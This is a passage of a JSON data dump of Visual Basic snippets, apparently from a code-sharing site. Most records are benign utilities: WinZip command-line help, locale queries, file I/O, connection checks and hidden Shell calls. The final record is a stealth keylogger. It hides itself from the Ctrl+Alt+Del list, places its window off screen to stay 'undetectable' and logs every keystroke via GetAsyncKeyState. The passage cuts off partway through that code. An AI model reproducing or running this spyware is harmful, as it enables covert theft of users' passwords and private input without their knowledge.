included.\nfilename.zip\nSpecifies the name of the ZIP involved. Be sure to use the full\nfilename (including the directory).\nfiles\nIs a list of one or more files, or the @ character followed by the\nfilename containing a list of files to add, one filename per line.\nWildcards (e.g. *.bak) are allowed.\nExtracting Files:\nThe command format is:\nwinzip[32].exe -e [options] filename[.zip] directory\nwhere:\n-e Is required.\n\noptions\n-o and -j stand for \"Overwrite existing files without prompting\" and\n\"Junk pathnames\", respectively. Unless -j is specified, directory\ninformation is used.\n-s allows specification of a password. The password can be enclosed\nin quotes, for example, -s\"Secret Password\". Note that passwords are\ncase-sensitive.\nfilename.zip\nSpecifies the name of the ZIP involved. Be sure to specify the full\nfilename (including the directory).\ndirectory\nIs the name of the directory to which the files are extracted. If the\ndirectory does not exist it is created.\nNotes:\n* VERY IMPORTANT: Always specify complete filenames, including the full\npath name and drive letter, for all file IDs.\n* To run WinZip in a minimized inactive icon use the \"-min\" option.\nWhen specified this option must be the first option.\n* Only operations involving the built-in zip and unzip are supported.\n* Enclose long filenames on the command line in quotes.\n* NO leading or trailing blanks, or blank lines for readability, are\nallowed in list (\"@\") files.\n* The action and each option on the command line must be separated\nfrom the others by at least one space.\n* WinZip can be used to compress files with cc:Mail . Change the\ncompress= line in the [cc:Mail] section of the appropriate WMAIL.INI\nfiles to specify the full path for WinZip followed by \"-a %1 @%2\".\nFor example, if WinZip is installed in your c:\\winzip directory,\nspecify\ncompress=c:\\winzip\\winzip.exe -a %1 @%2\n"},{"WorldId":1,"id":4697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4703,"LineNumber":1,"line":"Public Const LOCALE_USER_DEFAULT = &H400\nPublic Const LOCALE_IDATE = &H21 ' short date format ordering\nPublic Const LOCALE_SLANGUAGE = &H2 ' localized name of language\nPublic Const LOCALE_SCOUNTRY = &H6 ' localized name of country\nPublic Const LOCALE_SCURRENCY = &H14 ' local monetary symbol\nPublic Const LOCALE_ILDATE = &H22 ' long date format ordering\n\nSub GetTheLocaleInfo()\n \n Dim strBuffer As String * 100\n Dim lngReturn As Long\n Dim strResult As String\n Dim msg As String\n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_IDATE, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n \n Select Case strResult\n Case \"0\":\n msg = \"mm/dd/yy\"\n Case \"1\":\n msg = \"dd/mm/yy\"\n Case \"2\":\n msg = \"yy/mm/dd\"\n Case Else:\n msg = \"#Error#\"\n End Select\n Debug.Print \"You are using the \" & msg & \" short date format\"\n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_ILDATE, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n \n Select Case strResult\n Case \"0\":\n msg = \"mm/dd/yyyy\"\n Case \"1\":\n msg = \"dd/mm/yyyy\"\n Case \"2\":\n msg = \"yyyy/mm/dd\"\n Case Else:\n msg = \"#Error#\"\n End Select\n \n Debug.Print \"You are using the \" & msg & \" Long date format\"\n \n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SLANGUAGE, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n Debug.Print \"You are using \" & strResult & \" language\"\n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SCOUNTRY, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n Debug.Print \"You live in \" & strResult & \"!\"\n \n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SCURRENCY, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n Debug.Print \"You use \" & strResult & \" as your currency!\"\n \nEnd Sub\n\nPublic Function LPSTRToVBString(ByVal s As String) As String\n Dim nullpos As Integer\n nullpos = InStr(s, Chr(0))\n If nullpos > 0 Then\n LPSTRToVBString = Left(s, nullpos - 1)\n Else\n LPSTRToVBString = \"\"\n End If\nEnd Function\n"},{"WorldId":1,"id":4716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6182,"LineNumber":1,"line":"Function IPToString(Value As Double) As String\n Dim l As MyLong\n Dim i As MyIP\n l.Value = DoubleToLong(Value)\n LSet i = l\n IPToString = i.A & \".\" & i.B & \".\" & i.C & \".\" & i.D\nEnd Function\nFunction DoubleToLong(Value As Double) As Long\n If Value <= 2147483647 Then\n DoubleToLong = Value\n Else\n DoubleToLong = -(4294967296# - Value)\n End If\nEnd Function\n"},{"WorldId":1,"id":4784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4794,"LineNumber":1,"line":"' this code will display a form at the bottom right had corner everytime.\n dim WindowRect as RECT\n SystemParametersInfo SPI_GETWORKAREA, 0, WindowRect, 0\n \n FrmMain.Top = WindowRect.Bottom * Screen.TwipsPerPixelY - FrmMain.Height\n FrmMain.Left = WindowRect.Right * Screen.TwipsPerPixelX - FrmMain.Width"},{"WorldId":1,"id":8358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4842,"LineNumber":1,"line":"Private Sub Form_Load()\n Timer1.Interval = 300 'Change value depending on the speed of flahing.\nEnd Sub\nPrivate Sub Timer1_Timer()\n FlashWindow hwnd, 1\nEnd Sub\n"},{"WorldId":1,"id":4804,"LineNumber":1,"line":"if right(totext({currencyfield}),2) = '00' then\nuppercase(left(towords(truncate({currencyfield}),0)+' ' +'dollars'+' '+ 'only',1)) + right(towords(truncate({currencyfield}),0)+' ' +'dollars' + ' ' + 'only',length(towords(truncate({currencyfield}),0)+' ' + 'dollars' +' '+ 'only') -1)\n \nelse\ntowords(truncate({currencyfield}),0) +' '+'dollars'+' '+ 'and'+' ' +towords(tonumber(right(TOTEXT({currencyfield}),2)),0)+' '+'cents'+ ' ' + 'only' \n"},{"WorldId":1,"id":4807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4918,"LineNumber":1,"line":"I wrote the following two functions to go between strings and text files in my apps:\npublic Function ReadFile(FileName as string) as string\n Dim i as Integer\n i = FreeFile\n on error GoTo ErrorTrap\n Open FileName for input as #i\n ReadFile = input(LOF(i), i)\n Close #i\n Exit Function\nErrorTrap:\n ReadFile = \"\"\nEnd Function\n\npublic Sub WriteFile(FileName as string, Contents as string)\n Dim i as Integer\n i = FreeFile\n Open FileName for Output as #i\n print #i, Contents\n Close #i\nEnd Sub\n***Once these functions are in your project, you have a quick way of reading and writing text files. For example, the following code is a weird way of copying text files: \n\nCall WriteFile(\"c:\\b.txt\", ReadFile(\"c:\\a.txt\"))\n\n\n\n"},{"WorldId":1,"id":5041,"LineNumber":1,"line":"To use this API paste the following code into a module:\nPublic Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nThen to call the API type:\nVariable = sndPlaySound (Location, 1)\nSo for example to play a .wav file located at C:\\Sounds\\sound.wav type:\nVariable = sndPlaySound (\"C:\\Sounds\\sound.wav, 1)\n\nThats it!\n\n\n"},{"WorldId":1,"id":5044,"LineNumber":1,"line":"Place the following code into a module:\nPrivate Declare Function GetUserName Lib \"advapi32.dll\" _\n Alias \"GetUserNameA\" (ByVal lpBuffer As String, _\n nSize As Long) As Long\nPublic Function UserName() As String\n Dim llReturn As Long\n Dim lsUserName As String\n Dim lsBuffer As String\n \n lsUserName = \"\"\n lsBuffer = Space$(255)\n llReturn = GetUserName(lsBuffer, 255)\n \n \n If llReturn Then\n lsUserName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)\n End If\n \n UserName = lsUserName\nEnd Function\n \n"},{"WorldId":1,"id":4959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4961,"LineNumber":1,"line":"I(n the form itself enter this code:\nPrivate Sub Form_Click()\n AlarmTime = InputBox(\"Enter alarm time\", \"VB Alarm\", AlarmTime)\n If AlarmTime = \"\" Then Exit Sub\n If Not IsDate(AlarmTime) Then\n MsgBox \"The time you entered was not valid.\"\n Else ' String returned from InputBox is a valid time,\n AlarmTime = CDate(AlarmTime) ' so store it as a date/time value in AlarmTime.\n End If\nEnd Sub\n\n**********In the timer enter this code:*****************\nPrivate Sub Timer1_Timer()\nStatic AlarmSounded As Integer\n If lblTime.Caption <> CStr(Time) Then\n ' It's now a different second than the one displayed.\n If Time >= AlarmTime And Not AlarmSounded Then\n Beep\n MsgBox \"Alarm at \" & Time\n AlarmSounded = True\n ElseIf Time < AlarmTime Then\n AlarmSounded = False\n End If\n If WindowState = conMinimized Then\n ' If minimized, then update the form's Caption every minute.\n If Minute(CDate(Caption)) <> Minute(Time) Then SetCaptionTime\n Else\n ' Otherwise, update the label Caption in the form every second.\n lblTime.Caption = Time\n End If\n End If\nEnd Sub\n\n\n"},{"WorldId":1,"id":4840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4933,"LineNumber":1,"line":"'This code was copied from http://www.mvps.org/vbnet/ ! Go checkem out\n'START .BAS MODULE CODE\nOption Explicit\nPublic Declare Function InternetGetConnectedState _\nLib \"wininet.dll\" (ByRef lpdwFlags As Long, _\nByVal dwReserved As Long) As Long\n'Local system uses a modem to connect to the Internet.\nPublic Const INTERNET_CONNECTION_MODEM As Long = &H1\n'Local system uses a LAN to connect to the Internet.\nPublic Const INTERNET_CONNECTION_LAN As Long = &H2\n'Local system uses a proxy server to connect to the Internet.\nPublic Const INTERNET_CONNECTION_PROXY As Long = &H4\n'No longer used.\nPublic Const INTERNET_CONNECTION_MODEM_BUSY As Long = &H8\nPublic Const INTERNET_RAS_INSTALLED As Long = &H10\nPublic Const INTERNET_CONNECTION_OFFLINE As Long = &H20\nPublic Const INTERNET_CONNECTION_CONFIGURED As Long = &H40\n'InternetGetConnectedState wrapper functions\nPublic Function IsNetConnectViaLAN() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the flags indicate a LAN connection\nIsNetConnectViaLAN = dwflags And INTERNET_CONNECTION_LAN\nEnd Function\nPublic Function IsNetConnectViaModem() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the flags indicate a modem connection\nIsNetConnectViaModem = dwflags And INTERNET_CONNECTION_MODEM\nEnd Function\nPublic Function IsNetConnectViaProxy() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the flags indicate a proxy connection\nIsNetConnectViaProxy = dwflags And INTERNET_CONNECTION_PROXY\nEnd Function\nPublic Function IsNetConnectOnline() As Boolean\n'no flags needed here - the API returns True\n'if there is a connection of any type\nIsNetConnectOnline = InternetGetConnectedState(0&, 0&)\nEnd Function\nPublic Function IsNetRASInstalled() As Boolean\nDim dwflags As Long\n'pass an empty varialbe into which the API will\n'return the flags associated with the connection\nCall InternetGetConnectedState(dwflags, 0&)\n'return True if the falgs include RAS installed\nIsNetRASInstalled = dwflags And INTERNET_RAS_INSTALLED\nEnd Function\n\nPublic Function GetNetConnectString() As String\nDim dwflags As Long\nDim msg As String\n'build a string for display\nIf InternetGetConnectedState(dwflags, 0&) Then\nIf dwflags And INTERNET_CONNECTION_CONFIGURED Then\nmsg = msg & \"You have a network connection configured.\" & vbCrLf\nEnd If\nIf dwflags And INTERNET_CONNECTION_LAN Then\nmsg = msg & \"The local system connects to the Internet via a LAN\"\nEnd If\nIf dwflags And INTERNET_CONNECTION_PROXY Then\nmsg = msg & \", and uses a proxy server. \"\nElse: msg = msg & \".\"\nEnd If\nIf dwflags And INTERNET_CONNECTION_MODEM Then\nmsg = msg & \"The local system uses a modem to connect to the Internet. \"\nEnd If\nIf dwflags And INTERNET_CONNECTION_OFFLINE Then\nmsg = msg & \"The connection is currently offline. \"\nEnd If\nIf dwflags And INTERNET_CONNECTION_MODEM_BUSY Then\nmsg = msg & \"The local system's modem is busy with a non-Internet connection. \"\nEnd If\nIf dwflags And INTERNET_RAS_INSTALLED Then\nmsg = msg & \"Remote Access Services are installed on this system.\"\nEnd If\nElse\nmsg = \"Not connected to the internet now.\"\nEnd If\nGetNetConnectString = msg\nEnd Function\n' END MODULE CODE\n'##############################\n'START FORM CODE\nOption Explicit\n\n' Put 6 textboxes and 1 Command button and fire it up !\nPrivate Sub Command1_Click()\nText1 = IsNetConnectViaLAN()\nText2 = IsNetConnectViaModem()\nText3 = IsNetConnectViaProxy()\nText4 = IsNetConnectOnline()\nText5 = IsNetRASInstalled()\nText6 = GetNetConnectString()\nEnd Sub"},{"WorldId":1,"id":4876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4878,"LineNumber":1,"line":"'The vbhide makes sure that ppl dont see that ugly dosbox\nShell (\"c:\\windows\\command\\xcopy /e /i /r c:\\temp d:\\NewTemp\"), vbHide\n' will create a directory called NewTemp on d: and copy\n' all the files and directories recursively from c:\\temp\n' into it, without showing the dosbox\n' you can also run any commands like del, dir, etc\n' by running command.com\nshell(\"command.com /c PathandFileToRun Commuters CommandLine\"), vbHide\n' /c tells command.com to run a command and exit\n' you could run somethin like :\nShell (\"command.com /c dir /b d:\\ > dListing.txt\"), vbHide\n' and recover all the names of the files in d:\n' or run files associated to programs(doc,zip,bmp,etc)\n' by using the start command, windows will launch the\n' file with the appropriate program\nShell (\"start C:\\WINDOWS\\HELP\\WINHLP32.HLP\"), vbHide\n' if you need even more dos power then you could just as easily run\n' some bat files to do bigger operations. I think\n' windows scripting host can do some awesome stuff too\n' but im not familiar with it at all. All i know is\n' that it lets you write javascript and vbscript like\n' batch files.\nShell (\"start http://www.whatever.com\"), vbHide\n'Will launch the default webrowser on that page\n\nShell (\"start mailto:me@test.com,next@next.com?cc=whoever@whetever.com&subject=whatever&body=your text\"), vbHide\n'launch the default email client with most fields prefilled.\n'im sure you can attach a file, but i havent found the right\n'command yet. also its VERY important the order in which the\n'commands are fed. Just separate multiple adresses with a comma\n'like above.\n'if i find any other cool usages i'll postem up."},{"WorldId":1,"id":4885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7915,"LineNumber":1,"line":"Public Function Wait(ByVal TimeToWait As Long) 'Time in seconds\n Dim EndTime As Long\n EndTime = GetTickCount + TimeToWait * 1000 '* 1000 Cause u give seconds and GetTickCount uses Milliseconds\n Do Until GetTickCount > EndTime\n DoEvents\n Loop\nEnd Function\n"},{"WorldId":1,"id":4881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10132,"LineNumber":1,"line":"Private Sub WebBrowser1_CommandStateChange(ByVal Command As Long, ByVal Enable As Boolean)\nOn Error Resume Next\nSelect Case Command\n Case CSC_NAVIGATEFORWARD\n If Enable = True Then\n 'Forward dispo\n ForwardEnable = True\n RaiseEvent ForwardUpdate(True)\n Else\n 'Forward non dispo\n ForwardEnable = False\n RaiseEvent ForwardUpdate(False)\n End If\n 'Pas de forward\n Case CSC_NAVIGATEBACK\n If Enable = True Then\n BackEnable = True\n RaiseEvent BackUpdate(True)\n 'Back dispo\n Else\n BackEnable = False\n RaiseEvent BackUpdate(False)\n 'Back non dispo\n End If\nEnd Select\n If Command = -1 Then Exit Sub\n'End If\nEnd Sub"},{"WorldId":1,"id":5906,"LineNumber":1,"line":"Function ASCIItoList(ListBox As Object)\nDim Character As Long\nFor Character& = 33 To 223\nListBox.AddItem Chr(Character&)\nNext Character&\nEnd Function\nPrivate Sub Form_Load()\nASCIItoList List1\nEnd Sub\nPrivate Sub List1_Click()\nText1.Text = \"Chr(\" & List1.ListIndex + 33 & \")\"\nEnd Sub\n"},{"WorldId":1,"id":6089,"LineNumber":1,"line":"Public Function HasUppercase(TextBox As Object)\nFor i = 65 To 90 'i equals every letter from \"A\" to \"Z\"\nIf InStr(TextBox.Text, Chr$(i)) Then MsgBox \"Has Uppercase\"\n'Searches for letters A to Z (i), and if i is present, Display a box.\nEnd Function\nPublic Function HasLowercase(TextBox As Object)\nFor i = 97 To 122 'i equals every letter from \"a\" to \"z\"\nIf InStr(TextBox.Text, Chr$(i)) Then MsgBox \"Has Lowercase\"\n'Searches for letters a to z (i), and if i is present, Display a box.\nNext i\nEnd Function\nPublic Function HasNumeric(TextBox As Object)\nFor i = 0 To 9 'i equals every number from \"0\" to \"9\"\nIf InStr(TextBox.Text, i) Then MsgBox \"Has Numeric\"\n'Searches for numbers 0 to 9 (i), and if i is present, Display a box.\nNext i\nEnd Function\nPublic Function HasAccentchars(TextBox As Object)\nFor i = 128 To 223 'i equals every character from \"€\" to \"├ƒ\"\nIf InStr(TextBox.Text, Chr$(i)) Then MsgBox \"Has Accented Characters\"\n'Searches for accent characters € to ├ƒ (i), and if i is present, Display a box.\nNext i\nEnd Function\n"},{"WorldId":1,"id":6792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4939,"LineNumber":1,"line":"'Add a Rich Text Box to your project first. Then read below.\n'To save a rich text box:\nRichTextBox1.savefile \"file.txt\"\n'To load a rich text box:\nRichTextBox1.loadfile \"file.txt\""},{"WorldId":1,"id":4969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4976,"LineNumber":1,"line":"Public Function GetFileVersionInformation(ByRef pstrFieName As String, ByRef tFileInfo As FILEINFO) As VerisonReturnValue\n Dim lBufferLen As Long, lDummy As Long\n Dim sBuffer() As Byte\n Dim lVerPointer As Long\n Dim lRet As Long\n Dim Lang_Charset_String As String\n Dim HexNumber As Long\n Dim i As Integer\n Dim strTemp As String\n \n 'Clear the Buffer tFileInfo\n tFileInfo.CompanyName = \"\"\n tFileInfo.FileDescription = \"\"\n tFileInfo.FileVersion = \"\"\n tFileInfo.InternalName = \"\"\n tFileInfo.LegalCopyright = \"\"\n tFileInfo.OriginalFileName = \"\"\n tFileInfo.ProductName = \"\"\n tFileInfo.ProductVersion = \"\"\n \n lBufferLen = GetFileVersionInfoSize(pstrFieName, lDummy)\n If lBufferLen < 1 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n \n ReDim sBuffer(lBufferLen)\n lRet = GetFileVersionInfo(pstrFieName, 0&, lBufferLen, sBuffer(0))\n If lRet = 0 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n \n lRet = VerQueryValue(sBuffer(0), \"\\VarFileInfo\\Translation\", lVerPointer, lBufferLen)\n If lRet = 0 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n \n Dim bytebuffer(255) As Byte\n MoveMemory bytebuffer(0), lVerPointer, lBufferLen\n HexNumber = bytebuffer(2) + bytebuffer(3) * &H100 + bytebuffer(0) * &H10000 + bytebuffer(1) * &H1000000\n Lang_Charset_String = Hex(HexNumber)\n 'Pull it all apart:\n '04------ = SUBLANG_ENGLISH_USA\n '--09---- = LANG_ENGLISH\n ' ----04E4 = 1252 = Codepage for Windows:Multilingual\n Do While Len(Lang_Charset_String) < 8\n Lang_Charset_String = \"0\" & Lang_Charset_String\n Loop\n Dim strVersionInfo(7) As String\n strVersionInfo(0) = \"CompanyName\"\n strVersionInfo(1) = \"FileDescription\"\n strVersionInfo(2) = \"FileVersion\"\n strVersionInfo(3) = \"InternalName\"\n strVersionInfo(4) = \"LegalCopyright\"\n strVersionInfo(5) = \"OriginalFileName\"\n strVersionInfo(6) = \"ProductName\"\n strVersionInfo(7) = \"ProductVersion\"\n \n Dim buffer As String\n For i = 0 To 7\n buffer = String(255, 0)\n strTemp = \"\\StringFileInfo\\\" & Lang_Charset_String _\n & \"\\\" & strVersionInfo(i)\n lRet = VerQueryValue(sBuffer(0), strTemp, _\n lVerPointer, lBufferLen)\n If lRet = 0 Then\n GetFileVersionInformation = eNoVersion\n Exit Function\n End If\n lstrcpy buffer, lVerPointer\n buffer = Mid$(buffer, 1, InStr(buffer, vbNullChar) - 1)\n Select Case i\n Case 0\n tFileInfo.CompanyName = buffer\n Case 1\n tFileInfo.FileDescription = buffer\n Case 2\n tFileInfo.FileVersion = buffer\n Case 3\n tFileInfo.InternalName = buffer\n Case 4\n tFileInfo.LegalCopyright = buffer\n Case 5\n tFileInfo.OriginalFileName = buffer\n Case 6\n tFileInfo.ProductName = buffer\n Case 7\n tFileInfo.ProductVersion = buffer\n End Select\n Next i\n \n GetFileVersionInformation = eOK\nEnd Function\n\n'-----------\nPrivate Sub Command1_Click()\n Dim strFile As String\n Dim udtFileInfo As FILEINFO\n \n On Error Resume Next\n With CommonDialog1\n .Filter = \"All Files (*.*)|*.*\"\n .ShowOpen\n strFile = .FileName\n If Err.Number = cdlCancel Or strFile = \"\" Then Exit Sub\n End With\n \n If GetFileVersionInformation(strFile, udtFileInfo) = eNoVersion Then\n MsgBox \"No version available for this file\", vbInformation\n Exit Sub\n End If\n \n Label1 = \"Company Name: \" & udtFileInfo.CompanyName & vbCrLf\n Label1 = Label1 & \"File Description: \" & udtFileInfo.FileDescription & vbCrLf\n Label1 = Label1 & \"File Version: \" & udtFileInfo.FileVersion & vbCrLf\n Label1 = Label1 & \"Internal Name: \" & udtFileInfo.InternalName & vbCrLf\n Label1 = Label1 & \"Legal Copyright: \" & udtFileInfo.LegalCopyright & vbCrLf\n Label1 = Label1 & \"Original FileName: \" & udtFileInfo.OriginalFileName & vbCrLf\n Label1 = Label1 & \"Product Name: \" & udtFileInfo.ProductName & vbCrLf\n Label1 = Label1 & \"Product Version: \" & udtFileInfo.ProductVersion & vbCrLf\nEnd Sub\n"},{"WorldId":1,"id":4984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5023,"LineNumber":1,"line":"Dim Shift As Boolean\nDim shiftc As Boolean\nPrivate KeyResult As Long ' no real need for this, just gives you that warm fuzzy feeling\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer ' get the current state of the keys\nPrivate Sub Command1_Click()\nHIDECAD ' hide program in ctrl+alt+del , even more cloaking\nForm1.Top = Screen.Height + 100 ' put the form off screen, undetectable\nDo While Form1.Top = Screen.Height + 100 ' new code to catch evry keystroke\n' note: while this code catches every keystroke, it also DOES NOT catch any while the form is maximized\nerre:\nshiftc = True\nFor i = 1 To 300\nKeyResult = GetAsyncKeyState(i)\nOn Error GoTo erre\nIf KeyResult = -32767 Then\nSelect Case i\nCase Is = 8\nText1.Text = Text1.Text & \" BKSP \"\nCase Is = 16\nShift = True ' CHANGES TEXT TO UPPER CASE\nText1.Text = Text1.Text & \" SHIFT \"\nCase Is = 112 ' FUNCTION KEYS\nText1.Text = Text1.Text & \" F1 \"\nCase Is = 113\nText1.Text = Text1.Text & \" F2 \"\nCase Is = 114\nText1.Text = Text1.Text & \" F3 \"\nCase Is = 115\nText1.Text = Text1.Text & \" F4 \"\nCase Is = 116\nText1.Text = Text1.Text & \" F5 \"\nCase Is = 117\nText1.Text = Text1.Text & \" F6 \"\nCase Is = 118\nText1.Text = Text1.Text & \" F7 \"\nCase Is = 119\nText1.Text = Text1.Text & \" F8 \"\nCase Is = 120\nText1.Text = Text1.Text & \" F9 \"\nCase Is = 121\nText1.Text = Text1.Text & \" F10 \"\nCase Is = 122\nText1.Text = Text1.Text & \" F11 \"\nCase Is = 123\nText1.Text = Text1.Text & \" F12 \"\nCase Is = 32\nText1.Text = Text1.Text & \" SPACE \"\nCase Is = 13\nText1.Text = Text1.Text & \" ENTER \"\nCase Is = 27\nText1.Text = Text1.Text & \" ESC \"\nCase Is = 46\nText1.Text = Text1.Text & \" DEL \"\nCase Is = 18\nText1.Text = Text1.Text & \" ALT \"\nCase Is = 17\nText1.Text = Text1.Text & \" CTRL \"\nCase Is = 91\nText1.Text = Text1.Text & \" WINKEY \"\nCase Is = 32\nText1.Text = Text1.Text & \" SPACE \"\nCase Is = 9\nText1.Text = Text1.Text & \" TAB \"\n' Next four are Arrow Keys\nCase Is = 37\nText1.Text = Text1.Text & \" <- \"\nCase Is = 38\nText1.Text = Text1.Text & \" ^ \"\nCase Is = 39\nText1.Text = Text1.Text & \" -> \"\nCase Is = 40\nText1.Text = Text1.Text & \" \\/ \"\nCase 65 To 90 ' letters, note the use of lcase to use when without shift!\nIf Shift Then\nText1.Text = Text1.Text & UCase(Chr(i))\nShift = False ' resets shift!\nElse ' have to make lower cause of some darn vb thing\nText1.Text = Text1.Text & LCase(Chr(i))\nEnd If\nCase 48 To 57 ' numbers , also /w shift does char such as !@#$%^&*()\nIf Shift = False Then\nText1.Text = Text1.Text & Chr(i)\n \nElse ' if shift is down, do funky symbols\nIf i = 48 Then Text1.Text = Text1.Text & \")\"\nIf i = 49 Then Text1.Text = Text1.Text & \"!\"\nIf i = 50 Then Text1.Text = Text1.Text & \"@\"\nIf i = 51 Then Text1.Text = Text1.Text & \"#\"\nIf i = 52 Then Text1.Text = Text1.Text & \"$\"\nIf i = 53 Then Text1.Text = Text1.Text & \"%\"\nIf i = 54 Then Text1.Text = Text1.Text & \"^\"\nIf i = 55 Then Text1.Text = Text1.Text & \"&\"\nIf i = 56 Then Text1.Text = Text1.Text & \"*\"\nIf i = 57 Then Text1.Text = Text1.Text & \"(\"\nShift = False ' resets shift!\nEnd If\nCase Is = 1\n' can anybody tell me what this does? seems to happen evry btn click!\nCase Is = 190 ' from here down is the new update, includes most of the other keys on the keyboard... enjoy!\nIf Shift Then ' note: 2 keys cannot be mapped in vb : Printscrn/sysrq and Pause/Break\nText1.Text = Text1.Text & \">\"\nShift = False\nelse\nText1.Text = Text1.Text & \".\"\nEnd If\nCase Is = 188\nIf Shift Then\nText1.Text = Text1.Text & \"<\"\nShift = False\nelse\nText1.Text = Text1.Text & \",\"\nEnd If\nCase Is = 191\nIf Shift Then\nText1.Text = Text1.Text & \"?\"\nShift = False\nelse\nText1.Text = Text1.Text & \"/\"\nEnd If\nCase Is = 222\nIf Shift Then\nText1.Text = Text1.Text & \"\"\"\"\nShift = False\nelse\nText1.Text = Text1.Text & \"'\"\nEnd If\nCase Is = 192\nIf Shift Then\nText1.Text = Text1.Text & \"~\"\nShift = False\nelse\nText1.Text = Text1.Text & \"`\"\nEnd If\nCase Is = 186\nIf Shift Then\nText1.Text = Text1.Text & \":\"\nShift = False\nelse\nText1.Text = Text1.Text & \";\"\nEnd If\nCase Is = 219\nIf Shift Then\nText1.Text = Text1.Text & \"{\"\nShift = False\nelse\nText1.Text = Text1.Text & \"[\"\nEnd If\nCase Is = 220\nIf Shift Then\nText1.Text = Text1.Text & \"|\"\nShift = False\nelse\nText1.Text = Text1.Text & \"\\\"\nEnd If\nCase Is = 221\nIf Shift Then\nText1.Text = Text1.Text & \"}\"\nShift = False\nelse\nText1.Text = Text1.Text & \"]\"\nEnd If\nCase Is = 93\nText1.Text = Text1.Text & \" WINPROP \"\nCase Is = 45\nText1.Text = Text1.Text & \" INSERT TOGGLE \"\nCase Is = 36\nText1.Text = Text1.Text & \" HOME \"\nCase Is = 33\nText1.Text = Text1.Text & \" PGUP \"\nCase Is = 34\nText1.Text = Text1.Text & \" PGDN \"\nCase Is = 35\nText1.Text = Text1.Text & \" END \"\nCase Is = 144\nText1.Text = Text1.Text & \" NUMLOCK TOGGLE \"\nCase Is = 145\nText1.Text = Text1.Text & \" SCROLL LOCK TOGGLE \"\nCase Is = 189\nIf Shift Then\nText1.Text = Text1.Text & \"_\"\nShift = False\nelse\nText1.Text = Text1.Text & \"-\"\nEnd If\nCase Is = 188\nIf Shift 